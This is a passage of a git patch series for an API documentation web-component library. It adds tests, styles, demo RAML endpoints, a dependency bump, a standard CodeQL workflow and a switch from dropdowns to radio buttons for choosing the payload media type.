JSON.parse(txt); + + assert.deepEqual(data, { + "name": "", + "tag": "", + "code": 0, + "message": "", + "id": 0, + "test": "" + }); + }); + }); + + describe('Recursive properties', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'RecursiveShape'); + element = await examplesFixture(model, data, JsonType); + }); + + it('renders the recursive pill in the property', () => { + const container = element.shadowRoot.querySelector('.property-container[data-name="relatedTo"]'); + const pill = container.querySelector('.details-column .param-pill'); + assert.ok(pill, 'has the pill'); + assert.isTrue(pill.classList.contains('warning'), 'the pill has the warning class'); + assert.equal(pill.textContent.trim(), 'Recursive', 'the pill has the content'); + }); + + it('ignores recursive types in the generated example', () => { + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data, { + id: "" + }); + }); + }); + + describe('File shape', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders the file shape', async () => { + const data = loader.lookupShape(model, 'FileType'); + element = await examplesFixture(model, data, JsonType); + + const detail = /** @type HTMLDetailsElement */ (element.shadowRoot.querySelector('.property-details')); + assert.notOk(detail, 'has no detail element'); + + const props = element.shadowRoot.querySelectorAll('.schema-property-item'); + assert.lengthOf(props, 3, 'has all file properties'); + + assert.equal(props[0].querySelector('.schema-property-label').textContent.trim(), 'File types:'); + assert.equal(props[0].querySelector('.schema-property-value').textContent.trim(), 'application/mulesoft+modeling, application/data-model'); + + assert.equal(props[1].querySelector('.schema-property-label').textContent.trim(), 'Minimum length:'); + assert.equal(props[1].querySelector('.schema-property-value').textContent.trim(), '1024'); + + assert.equal(props[2].querySelector('.schema-property-label').textContent.trim(), 'Maximum length:'); + assert.equal(props[2].querySelector('.schema-property-value').textContent.trim(), '2048'); + }); + + it('renders the file property', async () => { + const data = loader.lookupShape(model, 'FilePropertyType'); + element = await examplesFixture(model, data, JsonType); + + const container = element.shadowRoot.querySelector('.property-container[data-name="filetype"]'); + + assert.equal(container.querySelector('.param-label').textContent.trim(), 'filetype'); + assert.equal(container.querySelector('.param-type').textContent.trim(), 'File'); + + const props = element.shadowRoot.querySelectorAll('.schema-property-item'); + assert.lengthOf(props, 3, 'has all file properties'); + + assert.equal(props[0].querySelector('.schema-property-label').textContent.trim(), 'File types:'); + assert.equal(props[0].querySelector('.schema-property-value').textContent.trim(), 'image/png, image/jpeg'); + + assert.equal(props[1].querySelector('.schema-property-label').textContent.trim(), 'Minimum length:'); + assert.equal(props[1].querySelector('.schema-property-value').textContent.trim(), '100'); + + assert.equal(props[2].querySelector('.schema-property-label').textContent.trim(), 'Maximum length:'); + assert.equal(props[2].querySelector('.schema-property-value').textContent.trim(), '300'); + }); + }); + }); + + describe('Read only properties', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'read-only-properties'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupShape(model, 'Article'); + element = await basicFixture(model, data); + }); + + it('renders the readonly property by default', () => { + const property = element.shadowRoot.querySelector('.property-container[data-name="id"]'); + assert.ok(property, 'has the property'); + + const pill = property.querySelector('.param-pill'); + assert.ok(pill, 'has the read-only pill'); + assert.equal(pill.textContent.trim(), 'Read only', 'pill has the label'); + }); + + it('does not render the readonly property when configured', async () => { + element.noReadOnly = true; + await nextFrame(); + + const property = element.shadowRoot.querySelector('.property-container[data-name="id"]'); + assert.notOk(property, 'the property is not rendered'); + }); + }); + + describe('APIC-631', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-631'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + + it('renders first union options as "List of String"', async () => { + const data = loader.lookupShape(model, 'test2'); + element = await basicFixture(model, data); + + const firstToggle = element.shadowRoot.querySelector('.union-toggle'); + assert.equal(firstToggle.textContent.trim().toLowerCase(), 'list of string'); + }); + + it('does not render name for inline type', async () => { + const data = loader.lookupShape(model, 'test3'); + element = await basicFixture(model, data); + + const propertyName = element.shadowRoot.querySelector('.param-label'); + assert.notExists(propertyName); + + const propertyType = element.shadowRoot.querySelector('.schema-property-label'); + assert.equal(propertyType.textContent.trim(), 'List of String'); + }); + + it('renders "List of Number" data type', async () => { + const data = loader.lookupShape(model, 'test8'); + element = await basicFixture(model, data); + + const property = element.shadowRoot.querySelector('.property-container[data-name="names8"]'); + const dataType = property.querySelector('.param-type'); + assert.equal(dataType.textContent.trim(), 'List of Number'); + }); + }); + + describe('AAP-1698', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'aap-1698'); + }); + + /** @type ApiSchemaDocumentElement */ + let element; + beforeEach(async () => { + const [payload] = loader.getPayloads(model, '/not-working', 'post'); + const { schema } = payload; + element = await schemaFixture(model, schema, JsonType); + }); + + it('renders enum values with the array property', () => { + // this has only one property + const property = element.shadowRoot.querySelector('.params-section .schema-property-item'); + const list = property.querySelector('.enum-items'); + assert.ok(list, 'renders the list'); + assert.equal(list.children[0].textContent.trim(), 'lookup'); + assert.equal(list.children[1].textContent.trim(), 'ml'); + assert.equal(list.children[2].textContent.trim(), 'fasttext'); + }); + + it('renders an example with enum value', () => { + const code = element.shadowRoot.querySelector(':host .examples code'); + const txt = code.textContent.trim(); + const data = JSON.parse(txt); + + assert.deepEqual(data.mappers, ["lookup"]); + }); + }); + }); + }); +}); From c5450dd7eb93023f75b714f60343bbe947abac38 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Wed, 29 Sep 2021 16:42:57 -0700 Subject: [PATCH 11/24] fix: fixing schema title styles Signed-off-by: Pawel Psztyc --- src/elements/styles/ApiSchema.js | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/elements/styles/ApiSchema.js b/src/elements/styles/ApiSchema.js index cf2e3cf..a942385 100644 --- a/src/elements/styles/ApiSchema.js +++ b/src/elements/styles/ApiSchema.js @@ -26,4 +26,8 @@ export default css` margin-left: 8px; font-size: var(--schema-title-type-name-size, 22px); } + +.schema-title.low-emphasis .type-name { + font-size: var(--schema-title-type-name-low-emphasis-size, 1.05rem); +} `; From 9972301a7c6b4eeb1dcfad9b119180fcb8402012 Mon Sep 17 00:00:00 2001 From: Pawel Psztyc Date: Thu, 30 Sep 2021 01:16:43 -0700 Subject: [PATCH 12/24] chore: syncying the response view Signed-off-by: Pawel Psztyc --- .github/workflows/codeql-analysis.yml | 67 +++++ TODO.md | 6 +- demo/apis/demo-api/demo-api.raml | 31 ++ package-lock.json | 6 +- package.json | 2 +- src/elements/ApiOperationDocumentElement.js | 14 +- src/elements/ApiRequestDocumentElement.js | 39 +-- src/elements/ApiResponseDocumentElement.js | 169 ++++++++--- src/elements/styles/ApiOperation.js | 9 + src/elements/styles/ApiResponse.js | 26 ++ test/AmfLoader.js | 12 + .../ApiOperationDocumentElement.test.js | 81 ++++++ .../ApiResponseDocumentElement.test.js | 275 ++++++++++++++++++ 13 files changed, 671 insertions(+), 66 deletions(-) create mode 100644 .github/workflows/codeql-analysis.yml create mode 100644 test/elements/ApiOperationDocumentElement.test.js create mode 100644 test/elements/ApiResponseDocumentElement.test.js diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml new file mode 100644 index 0000000..6999baf --- /dev/null +++ b/.github/workflows/codeql-analysis.yml @@ -0,0 +1,67 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +# +# ******** NOTE ******** +# We have attempted to detect the languages in your repository. Please check +# the `language` matrix defined below to confirm you have the correct set of +# supported CodeQL languages. +# +name: "CodeQL" + +on: + push: + branches: [ master ] + pull_request: + # The branches below must be a subset of the branches above + branches: [ master ] + schedule: + - cron: '21 7 * * 5' + +jobs: + analyze: + name: Analyze + runs-on: ubuntu-latest + + strategy: + fail-fast: false + matrix: + language: [ 'javascript' ] + # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] + # Learn more: + # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@v1 + with: + languages: ${{ matrix.language }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + # queries: ./path/to/local/query, your-org/your-repo/queries@main + + # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). + # If this step fails, then you should remove it and run the build manually (see below) + - name: Autobuild + uses: github/codeql-action/autobuild@v1 + + # ℹ️ Command-line programs to run using the OS shell. + # 📚 https://git.io/JvXDl + + # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines + # and modify them (or add more) to build your code if your project + # uses a compiled language + + #- run: | + # make bootstrap + # make release + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v1 diff --git a/TODO.md b/TODO.md index 395d28d..0d10d43 100644 --- a/TODO.md +++ b/TODO.md @@ -5,13 +5,13 @@ - Sync the Operation template - Add code snippets - Sync the Endpoint template -- Sync the Schema template -- Sync the Response template +- ~~Sync the Schema template~~ +- ~~Sync the Response template~~ - Sync the Payload template - Render the request editor side-by-side - Render multiple security schemes applied to a single method with tabs/drop-down selector - ~~Fix the `(unknown path)` in the operation~~ - Rendering of fragments and the partial model - main `api-documentation` element -- replace body content type selector with radio buttons like in the request editor +- ~~replace body content type selector with radio buttons like in the request editor~~ - Tests diff --git a/demo/apis/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml index c4953ea..3bb2c41 100644 --- a/demo/apis/demo-api/demo-api.raml +++ b/demo/apis/demo-api/demo-api.raml @@ -259,6 +259,18 @@ resourceTypes: displayName: Invalid request type: !include schemas/error-response.xsd example: !include examples/e400.xml + put: + responses: + 400: + description: The error response when one of the parameters is invalid and can't be parsed. Nothing can be done at the time except correcting the request to send valid data. + body: + application/json: + displayName: Invalid request + type: ErrorResource + application/xml: + displayName: Invalid request + type: !include schemas/error-response.xsd + example: !include examples/e400.xml traits: Paginated: !include traits/pagination.raml Adminable: !include traits/adminable.raml @@ -467,6 +479,7 @@ documentation: description: To test enum values in the URI parameters for global type declaration. /people: displayName: People + type: RequestErrorResponse get: (annotationTest): displayName: List people @@ -502,6 +515,7 @@ documentation: type: !include schemas/person.xsd example: !include examples/person.xml responses: + 204: 200: (deprecated): This response type is deprecated and soon will be replaced. description: | @@ -747,6 +761,23 @@ documentation: description: | This demonstrates a body as an Array type: AppPerson[] +/schemaBody: + get: + responses: + 200: + body: + application/json: + example: | + { + "status":"success" + } +/no-desc: + get: + responses: + 200: + 405: + 201: + /multipleTypeInheritance: get: description: | diff --git a/package-lock.json b/package-lock.json index 0299e16..f03ae95 100644 --- a/package-lock.json +++ b/package-lock.json @@ -642,9 +642,9 @@ } }, "@api-components/amf-helper-mixin": { - "version": "4.5.7", - "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.7.tgz", - "integrity": "sha512-97qo7v9RZSSIAiSKPMtzw5RNu03HjIUPwcBJ06jv+OlBaq2GFolkI5lUfpMP52Qv6Tfb41p21sy1i/zGFiLt0g==", + "version": "4.5.8", + "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.8.tgz", + "integrity": "sha512-F2LtWpG/G9sAIBP8LMjCzwCIWVy3sCof0gKLA1wuzcB12zPL4EHOUsfIOpBz680cen1DFMHQe98sYzFVfAB96A==", "requires": { "amf-json-ld-lib": "0.0.14" } diff --git a/package.json b/package.json index db570fd..7e96d08 100644 --- a/package.json +++ b/package.json @@ -36,7 +36,7 @@ "@anypoint-web-components/anypoint-listbox": "^1.1.7", "@anypoint-web-components/anypoint-radio-button": "^0.1.9", "@anypoint-web-components/anypoint-tabs": "^0.1.19", - "@api-components/amf-helper-mixin": "^4.5.7", + "@api-components/amf-helper-mixin": "^4.5.8", "@api-components/api-schema": "^0.1.3", "@api-components/api-server-selector": "^0.7.1", "@api-components/http-method-label": "^3.1.4", diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index 082182b..0a90e24 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -285,6 +285,12 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { if (!Array.isArray(responses) || !responses.length) { return; } + responses.sort((a, b) => { + if (a.statusCode === b.statusCode) { + return 0; + } + return Number(a.statusCode) > Number(b.statusCode) ? 1 : -1; + }); const { selectedStatus } = this; if (!selectedStatus) { this.selectedStatus = responses[0].statusCode; @@ -610,7 +616,13 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { return html`
    Select a response to render the documentation.
    `; } return html` - + `; } diff --git a/src/elements/ApiRequestDocumentElement.js b/src/elements/ApiRequestDocumentElement.js index f144f15..90eb7c7 100644 --- a/src/elements/ApiRequestDocumentElement.js +++ b/src/elements/ApiRequestDocumentElement.js @@ -1,8 +1,7 @@ /* eslint-disable class-methods-use-this */ import { html } from 'lit-element'; -import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js'; -import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js'; -import '@anypoint-web-components/anypoint-item/anypoint-item.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js'; import commonStyles from './styles/Common.js'; import elementStyles from './styles/ApiRequest.js'; import { @@ -11,6 +10,7 @@ import { schemaItemTemplate, descriptionTemplate, serializerValue, + customDomainPropertiesTemplate, } from './ApiDocumentationBase.js'; import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js'; import '../../api-payload-document.js'; @@ -20,9 +20,9 @@ import '../../api-parameter-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').ApiRequest} ApiRequest */ /** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ /** @typedef {import('@api-components/amf-helper-mixin').Request} Request */ -/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */ /** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */ /** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */ /** @typedef {import('../types').OperationParameter} OperationParameter */ export const queryRequest = Symbol('queryRequest'); @@ -233,8 +233,12 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { * @param {Event} e */ [mediaTypeSelectHandler](e) { - const select = /** @type AnypointListbox */ (e.target); - const mime = String(select.selected); + const group = /** @type AnypointRadioGroupElement */ (e.target); + const { selectedItem } = group; + if (!selectedItem) { + return; + } + const mime = selectedItem.dataset.value; this.mimeType = mime; } @@ -245,6 +249,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { } return html` + ${this[customDomainPropertiesTemplate](request.customDomainProperties)} ${this[descriptionTemplate](request.description)} ${this[queryParamsTemplate]()} ${this[queryStringTemplate]()} @@ -327,7 +332,7 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { if (!Array.isArray(payloads) || payloads.length < 2) { return ''; } - const mime = []; + const mime = /** @type string[] */ ([]); payloads.forEach((item) => { if (item.mediaType) { mime.push(item.mediaType); @@ -339,19 +344,15 @@ export default class ApiRequestDocumentElement extends ApiDocumentationBase { const mimeType = this.mimeType || mime[0]; return html`
    - Body content type + - - - ${mime.map((type) => html`${type}`)} - - + ${mime.map((item) => + html`${item}`)} +
    `; } diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js index 6a00181..6e32f6b 100644 --- a/src/elements/ApiResponseDocumentElement.js +++ b/src/elements/ApiResponseDocumentElement.js @@ -5,9 +5,8 @@ import '@advanced-rest-client/highlight/arc-marked.js'; import '@anypoint-web-components/anypoint-button/anypoint-button.js'; import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js'; import '@advanced-rest-client/arc-icons/arc-icon.js'; -import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js'; -import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js'; -import '@anypoint-web-components/anypoint-item/anypoint-item.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js'; +import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-group.js'; import commonStyles from './styles/Common.js'; import elementStyles from './styles/ApiResponse.js'; import '../../api-payload-document.js'; @@ -18,13 +17,16 @@ import { schemaItemTemplate, descriptionTemplate, serializerValue, + customDomainPropertiesTemplate, } from './ApiDocumentationBase.js'; /** @typedef {import('lit-element').TemplateResult} TemplateResult */ /** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */ /** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */ /** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ -/** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiTemplatedLink} ApiTemplatedLink */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiIriTemplateMapping} ApiIriTemplateMapping */ +/** @typedef {import('@anypoint-web-components/anypoint-radio-button/index').AnypointRadioGroupElement} AnypointRadioGroupElement */ export const queryResponse = Symbol('queryResponse'); export const responseValue = Symbol('responseValue'); @@ -34,6 +36,11 @@ export const payloadValue = Symbol('payloadValue'); export const headersTemplate = Symbol('headersTemplate'); export const payloadTemplate = Symbol('payloadTemplate'); export const payloadSelectorTemplate = Symbol('payloadSelectorTemplate'); +export const linksTemplate = Symbol('linksTemplate'); +export const linkTemplate = Symbol('linkTemplate'); +export const linkOperationTemplate = Symbol('linkOperationTemplate'); +export const linkMappingsTemplate = Symbol('mappingsTemplate'); +export const linkMappingTemplate = Symbol('linkMappingTemplate'); export const mediaTypeSelectHandler = Symbol('mediaTypeSelectHandler'); /** @@ -70,23 +77,6 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { return payloads.find((item) => item.mediaType === mimeType); } - static get properties() { - return { - /** - * When set it opens the headers section - */ - headersOpened: { type: Boolean, reflect: true }, - /** - * When set it opens the payload section - */ - payloadOpened: { type: Boolean, reflect: true }, - /** - * The currently selected media type for the payloads. - */ - mimeType: { type: String, reflect: true }, - }; - } - /** * @returns {ApiResponse} */ @@ -106,6 +96,23 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { this.processGraph(); } + static get properties() { + return { + /** + * When set it opens the headers section + */ + headersOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the payload section + */ + payloadOpened: { type: Boolean, reflect: true }, + /** + * The currently selected media type for the payloads. + */ + mimeType: { type: String, reflect: true }, + }; + } + constructor() { super(); /** @@ -153,8 +160,12 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { * @param {Event} e */ [mediaTypeSelectHandler](e) { - const select = /** @type AnypointListbox */ (e.target); - const mime = String(select.selected); + const group = /** @type AnypointRadioGroupElement */ (e.target); + const { selectedItem } = group; + if (!selectedItem) { + return; + } + const mime = selectedItem.dataset.value; this.mimeType = mime; } @@ -164,14 +175,16 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { } return html` + ${this[customDomainPropertiesTemplate](this[responseValue].customDomainProperties)} ${this[descriptionTemplate](this[responseValue].description)} ${this[headersTemplate]()} + ${this[linksTemplate]()} ${this[payloadTemplate]()} `; } /** - * @return {TemplateResult|string} The template for the headers + * @returns {TemplateResult|string} The template for the headers */ [headersTemplate]() { if (!this.hasHeaders) { @@ -183,7 +196,7 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { } /** - * @return {TemplateResult|string} The template for the payload section + * @returns {TemplateResult|string} The template for the payload section */ [payloadTemplate]() { const payload = this[payloadValue]; @@ -198,14 +211,14 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { } /** - * @return {TemplateResult|string} The template for the payload media type selector. + * @returns {TemplateResult|string} The template for the payload media type selector. */ [payloadSelectorTemplate]() { const payloads = this[payloadsValue]; if (!Array.isArray(payloads) || payloads.length < 2) { return ''; } - const mime = []; + const mime = /** @type string[] */ ([]); payloads.forEach((item) => { if (item.mediaType) { mime.push(item.mediaType); @@ -217,20 +230,98 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase { const mimeType = this.mimeType || mime[0]; return html`
    - Body content type + - - - ${mime.map((type) => html`${type}`)} - - + ${mime.map((item) => + html`${item}`)} + +
    + `; + } + + /** + * @returns {TemplateResult|string} The template for the response links + */ + [linksTemplate]() { + const { response } = this; + if (!response) { + return ''; + } + const { links=[] } = response; + if (!Array.isArray(links) || !links.length) { + return ''; + } + return html` + + ${links.map((link) => this[linkTemplate](link))} + `; + } + + /** + * @param {ApiTemplatedLink} link + * @returns {TemplateResult} A template for the link + */ + [linkTemplate](link) { + const { name, mapping, operationId, } = link; + return html` + + ${this[linkOperationTemplate](operationId)} +
    + ${this[linkMappingsTemplate](mapping)}
    `; } + + /** + * @param {string} operationId + * @returns {TemplateResult|string} The template for the link's operation + */ + [linkOperationTemplate](operationId) { + if (!operationId) { + return ''; + } + return html` +
    + Operation ID: + ${operationId} +
    + `; + } + + /** + * @param {ApiIriTemplateMapping[]} mappings + * @returns {TemplateResult|string} The template for the link's operation + */ + [linkMappingsTemplate](mappings) { + if (!mappings) { + return ''; + } + return html` + + + + + + ${mappings.map(item => this[linkMappingTemplate](item))} +
    VariableExpression
    + `; + } + + /** + * @param {ApiIriTemplateMapping} mapping + * @returns {TemplateResult} The template for the link's operation + */ + [linkMappingTemplate](mapping) { + const { linkExpression, templateVariable } = mapping; + return html` + + ${templateVariable} + ${linkExpression} + + `; + } } diff --git a/src/elements/styles/ApiOperation.js b/src/elements/styles/ApiOperation.js index ca71156..a187f30 100644 --- a/src/elements/styles/ApiOperation.js +++ b/src/elements/styles/ApiOperation.js @@ -47,4 +47,13 @@ export default css` font-style: italic; margin: 12px 0; } + +.method-response { + padding-left: var(--api-operation-documentation-responses-padding-left, var(--api-responses-method-padding-left, 20px)); + padding-right: var(--api-operation-documentation-responses-padding-right, var(--api-responses-method-padding-right, 20px)); +} + +.codes-selector-divider { + border-bottom: 1px var(--api-operation-documentation-response-codes-selector-divider-border-bottom-color, var(--api-responses-document-codes-selector-divider-border-bottom-color, #e5e5e5)) solid; +} `; diff --git a/src/elements/styles/ApiResponse.js b/src/elements/styles/ApiResponse.js index a841d28..69fdf25 100644 --- a/src/elements/styles/ApiResponse.js +++ b/src/elements/styles/ApiResponse.js @@ -5,4 +5,30 @@ export default css` display: block; } +.links-header { + font-size: 1.2rem; + margin: 0.8em 0; +} + +.link-header { + font-size: 1.1rem; + margin: 1em 0 0.4em 0; + font-weight: 500; +} + +.operation-id { + display: flex; + flex-direction: row; + margin: 0.2em 0; +} + +.operation-name { + margin-left: 8px; + font-weight: 500; +} + +.mapping-table { + margin: 12px 0 !important; +} + `; diff --git a/test/AmfLoader.js b/test/AmfLoader.js index 8e05b46..c1b87f4 100644 --- a/test/AmfLoader.js +++ b/test/AmfLoader.js @@ -16,6 +16,7 @@ import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin' /** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */ /** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ /** @typedef {import('@api-components/amf-helper-mixin').WebApi} WebApi */ +/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ /** * @typedef EndpointOperation @@ -297,4 +298,15 @@ export class AmfLoader extends AmfHelperMixin(Object) { } return result; } + + /** + * @param {AmfDocument} model + * @param {string} endpoint + * @param {string} operation + * @return {Response[]} + */ + lookupResponses(model, endpoint, operation) { + const method = this.lookupOperation(model, endpoint, operation); + return this._computeReturns(method); + } } diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js new file mode 100644 index 0000000..387fb23 --- /dev/null +++ b/test/elements/ApiOperationDocumentElement.test.js @@ -0,0 +1,81 @@ +import { fixture, assert, html, nextFrame, aTimeout } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-operation-document.js'; + +/** @typedef {import('../../').ApiOperationDocumentElement} ApiOperationDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ +/** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */ + +describe('ApiOperationDocumentElement', () => { + const loader = new AmfLoader(); + + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function basicFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('response status codes', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiOperationDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupOperation(model, '/people', 'put'); + element = await basicFixture(model, data); + }); + + it('renders the status codes section', () => { + const node = element.shadowRoot.querySelector('.status-codes-selector'); + assert.ok(node); + }); + + it('renders the status codes options', async () => { + const nodes = /** @type NodeListOf */ (element.shadowRoot.querySelectorAll('.status-codes-selector anypoint-tab')); + assert.lengthOf(nodes, 3, 'has 3 tabs'); + assert.equal(nodes[0].innerText.trim(), '200', '200 status is rendered'); + assert.equal(nodes[1].innerText.trim(), '204', '204 status is rendered'); + assert.equal(nodes[2].innerText.trim(), '400', '400 status is rendered'); + }); + + it('renders anypoint-tabs with scrollable', () => { + const node = /** @type AnypointTabs */ (element.shadowRoot.querySelector('.status-codes-selector anypoint-tabs')); + + assert.isTrue(node.scrollable); + }); + + it('computes the selectedStatus', () => { + assert.deepEqual(element.selectedStatus, '200'); + }); + + it('changes the status code', async () => { + const nodes = /** @type NodeListOf */ (element.shadowRoot.querySelectorAll('.status-codes-selector anypoint-tab')); + nodes[1].click(); + await nextFrame(); + + assert.deepEqual(element.selectedStatus, '204'); + + const response = element.shadowRoot.querySelector('api-response-document'); + assert.equal(response.response.statusCode, '204', 'the response element has the new status code'); + }); + }); + }); + }); +}); diff --git a/test/elements/ApiResponseDocumentElement.test.js b/test/elements/ApiResponseDocumentElement.test.js new file mode 100644 index 0000000..5cddc34 --- /dev/null +++ b/test/elements/ApiResponseDocumentElement.test.js @@ -0,0 +1,275 @@ +import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-response-document.js'; + +/** @typedef {import('../../').ApiResponseDocumentElement} ApiResponseDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */ + +describe('ApiResponseDocumentElement', () => { + const loader = new AmfLoader(); + + /** + * @param {AmfDocument} amf + * @param {Response=} shape + * @param {string=} mimeType + * @returns {Promise} + */ + async function basicFixture(amf, shape, mimeType) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiResponseDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe('response headers', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the response headers', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + assert.isTrue(element.hasHeaders, 'hasHeaders is true'); + + const section = element.shadowRoot.querySelector('.params-section [data-ctrl-property="headersOpened"]'); + assert.ok(section, 'the section is rendered'); + + const params = element.shadowRoot.querySelectorAll('api-parameter-document'); + assert.lengthOf(params, 1, 'has the parameter'); + }); + + it('ignores headers section when no headers', async () => { + const data = loader.lookupResponses(model, '/people', 'get')[1]; + const element = await basicFixture(model, data); + + assert.isFalse(element.hasHeaders, 'hasHeaders is true'); + + const section = element.shadowRoot.querySelector('.params-section [data-ctrl-property="headersOpened"]'); + assert.notOk(section, 'the section is not rendered'); + }); + }); + + describe('annotations rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the annotations when in the object', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-annotation-document'); + assert.ok(node); + }); + + it('ignores annotations when not defined', async () => { + const data = loader.lookupResponses(model, '/people', 'get')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('api-annotation-document'); + assert.notOk(node); + }); + }); + + describe('description rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the description when defined', async () => { + const data = loader.lookupResponses(model, '/people', 'put')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('arc-marked'); + assert.ok(node); + }); + + it('ignores annotations when not defined', async () => { + const data = loader.lookupResponses(model, '/people/{personId}', 'get')[1]; + const element = await basicFixture(model, data); + + const node = element.shadowRoot.querySelector('arc-marked'); + assert.notOk(node); + }); + }); + + describe('payload rendering', () => { + /** @type AmfDocument */ + let 